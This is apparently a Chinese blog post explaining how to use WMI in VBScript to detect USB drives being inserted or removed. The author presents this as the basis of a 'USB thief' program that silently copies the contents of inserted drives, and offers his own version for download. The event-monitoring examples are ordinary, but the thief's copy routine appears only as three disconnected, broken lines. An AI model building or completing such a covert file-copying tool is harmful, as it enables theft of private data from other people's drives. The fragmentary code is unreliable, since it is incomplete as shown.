可以说，对WMI的掌握程度的多少直接决定了你的VBS水平高低。看过网上普遍流传VBS版U盘小偷程序，基本上都是靠无限循环实现的，一点技术含量也没有，文章的末尾给出了我写的VBS版U盘小偷程序的下载地址。虽然用WMI也得无限循环，但是效率是不一样的。

使用WMI的Win32_VolumeChangeEvent类就可以实现，下面是示例代码，更详细的信息请参考MSND文档。

代码如下:

Const Configuration_Changed = 1

Const Device_Arrival = 2

Const Device_Removal = 3

Const Docking = 4

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate}!\\" _

& strComputer & "\root\cimv2")

Set colMonitoredEvents = objWMIService. _

ExecNotificationQuery( _

"Select * from Win32_VolumeChangeEvent")

Do

Set objLatestEvent = colMonitoredEvents.NextEvent

Select Case objLatestEvent.EventType

Case Device_Arrival

WScript.Echo "U盘插入，盘符为" & _

objLatestEvent.DriveName

Case Device_Removal

WScript.Echo "U盘弹出，盘符为" & _

objLatestEvent.DriveName

End Select

Loop

我也写了一个U盘小偷程序，自以为比网上抄来抄去的代码要好，感兴趣的可以下载来看看。

代码如下:

file.Copy Target_Folder & "\" & file.Name,True

For Each folder In fso.GetFolder(Folder_Path).SubFolders

folder.Copy Target_Folder & "\" & folder.Name,True

鉴于很多人反映之前写的那篇在XP下无效，做了一下修改。说是修改，其实是直接复制粘贴脚本专家的代码。

代码如下:

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _

("Select * From __InstanceOperationEvent Within 10 Where " _

& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True

Set objEvent = colEvents.NextEvent

If objEvent.TargetInstance.DriveType = 2 Then

Select Case objEvent.Path_.Class

Case "__InstanceCreationEvent"

Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

" has been added."

Case "__InstanceDeletionEvent"

Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _

" has been removed."

End Select

End If

Loop
